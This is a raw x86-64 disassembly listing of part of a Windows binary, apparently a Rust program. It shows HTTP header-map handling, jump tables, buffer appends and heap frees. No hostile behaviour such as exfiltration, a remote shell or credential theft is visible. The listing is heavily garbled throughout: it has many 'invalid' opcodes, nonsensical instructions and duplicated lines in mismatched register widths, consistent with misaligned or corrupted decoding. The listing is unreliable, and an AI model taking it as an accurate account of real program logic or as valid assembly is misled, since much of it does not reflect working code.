xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
add dword [rax], eax
invalid
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], cl
invalid
movups xmm1, xmmword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
adc dword [rdx + 0x30], ebx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
add byte [rax - 0x73], cl
or eax, 0x14bc9a
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsp + 0x438], 0xd
jne 0x14002af04
movabs rax, 0x6564202c70697a67
mov rdx, qword [rsp + 0x430]
invalid
and byte [rbp + riz*2 + 0x48], ah
mov edx, dword [rsp + 0x430]
invalid
mov rdx, qword gs:[rsp + 0x430]
add byte [rax + 0x33], cl
add cl, byte [rax - 0x47]
and byte [rbp + riz*2 + 0x66], ah
insb byte [rdi], dx
xor rax, qword [rdx]
movabs rcx, 0x6574616c66656420
insb byte [rdi], dx
invalid
je 0x14002a6da
xor rcx, qword [rdx + 5]
or rcx, rax
or ecx, eax
insb byte [rdi], dx
invalid
or ecx, eax
sete cl
mov eax, 0x10
mov qword [rsp + 0x50], rax
and al, 0x50
test cl, cl
je 0x140028b93
jmp 0x140029746
mov eax, 0x2c
sub al, 0
add byte [rax], al
jmp 0x140028f75
mov eax, 1
mov ecx, 0x2e
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add rax, rcx
invalid
jmp rax
invalid
or dword [rax + 1], 0xb8e0ffc8
mov eax, 0x14
adc al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
pop rsi
call 0x15abba718
invalid
invalid
invalid
jmp 0x140028f75
invalid
mov eax, 0x1a
jmp 0x140028f75
invalid
add byte [rax], al
add cl, ch
push rsp
call 0x167bba722
invalid
invalid
invalid
invalid
mov eax, 0x27
add byte [rax], al
add cl, ch
call 0x178bba72c
invalid
mov eax, 0x38
invalid
jmp 0x140028f75
invalid
mov eax, 0x38
jmp 0x140028f75
invalid
invalid
invalid
invalid
call 0x14fbba736
call 0x14fbba736
invalid
mov eax, 0xf
jmp 0x140028f75
invalid
invalid
invalid
invalid
add byte [rax], al
add cl, ch
call 0x141bba740
call 0x141bba740
invalid
mov eax, 1
add byte [rax], al
add byte [rcx + 0x15], bh
add byte [rax], al
invalid
mov ecx, 0x15
add byte [rax], al
add cl, ch
mov edi, 0xb8ffffe7
invalid
invalid
jmp 0x140028f0d
mov eax, 0x16
jmp 0x140028f75
add byte [rax], al
add cl, ch
sbb eax, 0xb8ffffe8
mov eax, 0x3c
mov eax, 0x3c
add byte [rax], al
add cl, ch
adc ebp, eax
invalid
jmp 0x140028f75
mov eax, 0x1d
jmp 0x140028f75
invalid
add byte [rax], al
add cl, ch
or eax, ebp
invalid
invalid
mov eax, 0x1e
add byte [rax], al
add byte [rax], al
add cl, ch
jmp rdi
jmp 0x140028f75
mov eax, 0x2d
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x140028f75
cmc
out 0xff, eax
invalid
mov eax, 0x11
jmp 0x140028f75
out 0xff, eax
invalid
add byte [rax], al
add cl, ch
jmp 0x14002a76f
invalid
out 0xff, eax
invalid
mov eax, 0x3d
jmp 0x140028f75
add byte [rax], al
add cl, ch
loope 0x14002a779
invalid
mov eax, 0x12
jmp 0x140028f75
add byte [rax], al
add cl, ch
xlatb
out 0xff, eax
invalid
mov eax, 0x34
jmp 0x140028f75
mov eax, 0x18
jmp 0x140028f75
mov eax, 1
mov ecx, 0x17
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
mov edx, 0x63480014
add al, 0x81
mov edx, 0x63480014
add al, 0x81
add rax, rcx
jmp rax
mov eax, 1
mov ecx, 0x20
mov qword [rsp + 0xc8], rcx
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add dword [rax], eax
invalid
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
add byte [rax], al
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
lea rcx, [0x1401762d8]
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
or dword [rax + 1], 0xb8e0ffc8
xor dword [rax], eax
add byte [rax], al
invalid
mov eax, 0x31
add byte [rax], al
add cl, ch
invalid
jmp 0x140028f75
mov eax, 0x1f
jmp 0x140028f75
add byte [rax], al
add cl, ch
invalid
mov eax, 0x39
jmp 0x140028f75
add byte [rax], al
add cl, ch
retf
mov eax, 0x23
jmp 0x140028f75
mov eax, 0x2a
jmp 0x140028f75
invalid
invalid
mov eax, 1
mov ecx, 0x29
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x88]
cmp qword [rcx + 0x48], rax
jbe 0x14002b560
mov rdx, qword [rsp + 0x88]
add rax, qword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
test al, al
je 0x14002a983
or al, 0xf8
cmp al, 0xf9
jbe 0x14002b578
cmc
or eax, dword [rax]
invalid
cmc
or eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a9ab
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x40
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
add byte [rax], al
add byte [rax], al
add rsi, rdi
add rsi, 0x10
mov qword [rsp + 0x60], rax
invalid
movzx eax, byte [rsi + 0x40]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
mov ecx, 0
invalid
invalid
add byte [rdi], cl
sar dword [r10 + 7], 0xf
mov dh, 0xc0
cmovae eax, ecx
mov edx, 7
movzx eax, al
lea rcx, [0x140176308]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsi], 0
je 0x14002ae13
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
jmp 0x14002ae1f
mov rbp, r12
movzx eax, byte [rsp + 0x108]
lea ecx, [rax - 2]
dec al
enter 0xfffffffffffff980, 6
enter 0xfffffffffffff980, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
mov esi, 7
add byte [rdi], cl
mov dh, 0xc0
invalid
add byte [rdi], cl
mov dh, 0xc0
lea rcx, [0x1401762ec]
movsxd rax, dword [rcx + rax*4]
movsd dword [rdi], dword [rsi]
mov eax, 0x63480014
add al, 0x81
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x4d
mov esp, ebp
mov r12, r13
mov rdi, rbx
cmp qword [rsp + 0xc8], 0
je 0x14002ad1c
mov r13, r14
mov rbx, qword [rsp + 0xd0]
pushfq
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
fadd dword [rax]
add byte [rax], al
pushfq
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
fadd dword [rax]
add byte [rax], al
jmp 0x14002ad32
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax + 0x39], cl
jbe 0x14002b590
mov ecx, dword [rsp + 0x88]
cmp qword [rcx + 0x48], rax
jbe 0x14002b590
mov rbp, r14
cmc
mov r14, rbx
mov rdx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax + 3], cl
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
invalid
and al, 0x88
add byte [rax], al
add byte [rax + 3], cl
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
mov rsi, qword [rdx + 0x38]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
lea rdi, [rax + rax*2]
cmp al, 0x40
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
test al, al
je 0x14002aae3
or al, 0xf8
cmp al, 0xf9
jbe 0x14002b548
or al, byte gs:[rax]
invalid
or al, byte gs:[rax]
add byte [rax - 0x7d], cl
invalid
sti
cmp rbx, 0x3f
cmp ebx, 0x3f
invalid
jae 0x14002ab19
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
push 0x75c13948
sbb dword [rdx + 1], edi
add byte [rax], al
cmp rcx, rax
jne 0x14002ab11
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
or dword [rsi - 2], edi
dec dword [rax - 0x75]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
or bl, 0x40
jmp case.0x14002c02b.28
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
cmp rcx, rax
jne 0x14002ab41
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x7f
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
add rbx, 0xffffffffffffffc1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002abcd
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002ab93
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
mov qword [rsp + 0x60], rax
mov rcx, rbx
shr rcx, 7
cmp rbx, 0x3fff
mov rbx, rcx
ja 0x14002ab70
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne case.0x14002c02b.28
invalid
sbb dword [rdx + 1], edi
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffffc6
invalid
add byte [rax], al
enter 0xffffffffffff870f, 0xffffffffffffffc6
invalid
mov qword [rsp + 0x60], rax
mov rbx, r14
lea rcx, [rsi + rdi]
add rcx, 0x10
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
mov rcx, rax
lea r8, [rsp + 0x58]
call fcn.14002c430
add bl, byte [rax]
add byte [rax], al
add bl, byte [rax]
add byte [rax], al
mov rdi, qword [rsp + 0xb0]
add byte [rax], al
mov r14, rbp
jmp 0x14002ae50
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 5
add byte [rax - 0x73], cl
sbb eax, 0xebfb1
invalid
add byte [rax - 0x73], cl
sbb eax, 0xebfb1
invalid
add cl, ch
fiadd dword [rax]
add byte [rax], al
jmp 0x14002ad32
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
lea rbx, [0x140116bf6]
jmp 0x14002ad32
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x77], cl
mov r12, r13
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
lea rbx, [0x140116bfd]
invalid
add cl, ch
mov al, 0
add byte [rax], al
invalid
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 0xa
or al, byte [rax]
add byte [rax], al
or al, byte [rax]
add byte [rax], al
lea rbx, [0x140116bec]
jmp 0x14002ad32
invalid
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 9
or dword [rax], eax
add byte [rax], al
invalid
or dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
sbb eax, 0xebf58
lea rbx, [0x140116c09]
jmp 0x14002ad32
jg 0x14002ad01
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
mov edi, ebx
mov edi, ebx
lea rbx, [0x140116c12]
sbb eax, 0xebf4f
jmp 0x14002ad32
mov edx, 5
lea rcx, [0x140116c04]
invalid
invalid
add eax, 0x48000000
lea ecx, [0x140116c04]
invalid
invalid
invalid
jmp 0x14002ae1f
add qword [r8], rax
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xebf19
lea rcx, [0x140116bf6]
jmp 0x14002ae1f
add byte [rax], al
lea rcx, [0x140116bfd]
lea ecx, [0x140116bfd]
jmp 0x14002ae1f
mov edx, 0xa
or al, byte [rax]
add byte [rax], al
lea rcx, [0x140116bec]
lea ecx, [0x140116bec]
jmp 0x14002ae1f
mov edx, 9
lea rcx, [0x140116c09]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xebefe
jmp 0x14002ae1f
lea rcx, [0x140116c12]
jmp 0x14002ae1f
mov r13, r14
movzx ecx, byte [rsp + 0xd0]
call fcn.14002e600
mov rbx, rax
mov rsi, rdx
lea rcx, [rsp + 0xc8]
call fcn.14002c000
mov r14, rax
mov r15, rdx
movzx eax, byte [rsp + 0x108]
test al, al
je 0x14002ad8a
or al, 0xf8
cmp al, 0xfa
jae 0x14002ad8a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002ad7f
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
jmp 0x14002adbb
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002adb2
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
mov r8, rsi
call fcn.14002c430
mov rcx, r14
mov rdx, r15
mov r8, rsi
call fcn.14002c430
mov rbx, rdi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
mov r14, r13
mov r13, r12
mov r12, rbp
jmp 0x14002ae50
movzx ecx, byte [rsi + 8]
call fcn.14002e600
mov rcx, rax
lea rdi, [rsp + 0x58]
mov r8, rdi
call fcn.14002c430
mov rcx, rsi
call fcn.14002c000
mov rcx, rax
mov r8, rdi
call fcn.14002c430
mov rdi, qword [rsp + 0xb0]
nop word [rax + rax]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movups xmm2, xmmword [rsp + 0xe0]
movups xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x190], xmm3
and al, 0x90
add dword [rax], eax
invalid
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], edx
movaps xmmword [rsp + 0x180], xmm2
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x170], ecx
invalid
movaps xmmword [rsp + 0x170], xmm1
add byte [rdi], cl
sub dword [rsp + 0x160], eax
movaps xmmword [rsp + 0x160], xmm0
mov eax, 8
or byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x480]
add byte [rax], al
cmp rcx, 5
ja case.default.0x14002aedd
jle 0x14002ae9b
invalid
invalid
jle 0x14002ae9b
invalid
lea rdx, [0x140176324]
movsxd rcx, dword [rdx + rcx*4]
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
mov rsi, qword [rsp + 0x448]
mov ah, 0x24
add al, 0
add bh, bh
jmp rcx
mov ah, 0x24
add al, 0
add bh, bh
jmp rcx
invalid
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
jmp case.0x14002aedd.4
mov eax, 0x32
jmp 0x140028f75
mov eax, 0x2f
jmp 0x140028f75
mov cl, 2
jmp 0x140028f7c
mov eax, 0x10
jmp 0x140028f75
mov r13, qword [rsp + 0x2a8]
mov r12, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2c0]
lea rbp, [rsp + 0x188]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xb0], rax
lea r14, [rsp + 0x1a0]
mov rdi, qword [rsp + 0x2d8]
jmp 0x14002afbc
mov r12, qword [rax + 0x18]
mov r13d, 1
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov rcx, qword [rax + 0x40]
mov ecx, dword [rax + 0x40]
mov ecx, dword [rax + 0x40]
mov qword [rbp + 0x20], rcx
movups xmm0, xmmword [rax + 0x20]
and byte [r15], r9b
adc byte [rax + 0x20], al
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
add byte [r8 - 0x39], r9b
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [r8 - 0x39], r9b
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
add byte [rax], al
mov r8, qword [rsp + 0x198]
mov rcx, r14
add byte [rax], al
mov rax, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0x198]
mov rcx, r14
call qword [rax + 0x10]
test r13, r13
je 0x14002afe0
cmp r12, rbx
jae 0x14002b3c0
lea rcx, [r12 + r12*8]
lea rax, [rsi + rcx*8]
cmp qword [rsi + rcx*8 + 0x10], 0
jne 0x14002af60
xor r13d, r13d
jmp 0x14002af6a
cmp rdi, qword [rsp + 0xb0]
je 0x14002b0b1
lea r15, [rdi + 0x68]
mov qword [rsp + 0x2d8], r15
mov r13, qword [rdi]
mov r12, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xc0], xmm0
cmp r13, 2
je 0x14002b0bf
movups xmm0, xmmword [rdi + 0x40]
movups xmm1, xmmword [rdi + 0x50]
lea rax, [rsp + 0x168]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xc8]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x160], 1
mov rax, qword [rsp + 0x168]
test rax, rax
je 0x14002b0a9
mov rdx, qword [rsp + 0x170]
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x180]
call qword [rax + 0x10]
mov rdi, r15
jmp 0x14002af9e
mov qword [rsp + 0x2c8], 0
jmp 0x14002b135
mov r8, qword [rsp + 0xb0]
mov rax, r8
sub rax, r15
movabs rcx, 0x4ec4ec4ec4ec4ec5
mul rcx
mov qword [rsp + 0x2c8], 0
cmp r8, r15
cmp eax, edi
cmp eax, edi
je 0x14002b135
mov rbx, rdx
mov ebx, edx
shr rbx, 5
add rdi, 0xc0
jmp 0x14002b11c
invalid
lea rcx, [rdi - 0x28]
mov rax, qword [rdi - 0x40]
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14002b135
mov rax, qword [rdi - 0x18]
test rax, rax
je 0x14002b100
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x14002b100
cmp qword [rsp + 0x2e0], 0
je 0x14002b157
add byte [rax], al
add byte [rdi + rdx + 0x4c], dh
mov r8, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jb case.0x14002aa4e.33
invalid
sar bh, cl
adc eax, 0xe7209
jb case.0x14002aa4e.33
invalid
jb case.0x14002aa4e.33
add byte [rax - 0x75], cl
pushfq
and al, 0xc8
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
mov rbx, qword [rsp + 0x2c8]
test rbx, rbx
je 0x14002b18b
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
push rax
adc byte [rax - 0x7d], cl
invalid
dec rbx
jne case.0x14002aa01.28
push rax
adc byte [rax - 0x7d], cl
invalid
cmp qword [rsp + 0x2b8], 0
je 0x14002b1a8
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
jno 0x14002b1b5
invalid
mov eax, 0xb8000e71
or byte [rax], al
add byte [rax], al
mov eax, 8
mov rcx, qword [rsp + 0x480]
cmp rcx, 5
ja case.default.0x14002b1c9
add byte [rax - 0x7d], cl
stc
add eax, 0x8d481577
lea rdx, [0x140176368]
lea rdx, [0x140176368]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov eax, 0x10
lea rcx, [rsp + rax]
add rcx, 0x480
call fcn.14001d970
mov rax, qword [rsp + 0x458]
cmp rax, 2
je 0x14002b282
lea rdx, [rsp + 0x470]
mov rsi, qword [rsp + 0x460]
mov rdi, qword [rsp + 0x468]
test rax, rax
je 0x14002b26b
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x460]
lock dec qword [rax]
jne 0x14002b282
mov rcx, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
call fcn.140005050
jmp 0x14002b282
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rcx, rsi
call qword [rdi + 0x80]
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
test dil, 1
jne 0x14002b2a3
lea rcx, [0x14014ef30]
jmp 0x14002b389
mov r14, qword [rsp + 0x68]
shr rdi, 5
sub rsi, rdi
lea rbx, [rdi + rdx]
cmp rdx, r14
jne 0x14002b2da
test rbx, rbx
je 0x14002b311
test sil, 1
jne 0x14002b365
mov rax, rsi
or rax, 1
lea rcx, [0x140129108]
jmp 0x14002b36f
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14002b671
add r14, rdi
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rcx, [0x140113bb0]
jmp 0x14002b36f
lea rcx, [0x140113ac0]
mov esi, 1
xor eax, eax
xor ebx, ebx
jmp 0x14002b36f
mov r14, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140028119
jmp 0x140028100
mov r14, rsi
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x140028100
jmp 0x140028119
lea rcx, [0x140129120]
mov rax, rsi
mov qword [rsp + 0x480], rdi
mov rdx, rbx
sub rdx, rdi
jb 0x14002b5db
add rsi, rdi
mov rdi, rax
mov rax, qword [rsp + 0x4e0]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdi
add rsp, 0x5f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
mov rdx, rbx
call fcn.1401082d0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x210], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x228], rax
lea rax, [0x140141790]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov qword [rsp + 0x180], 0
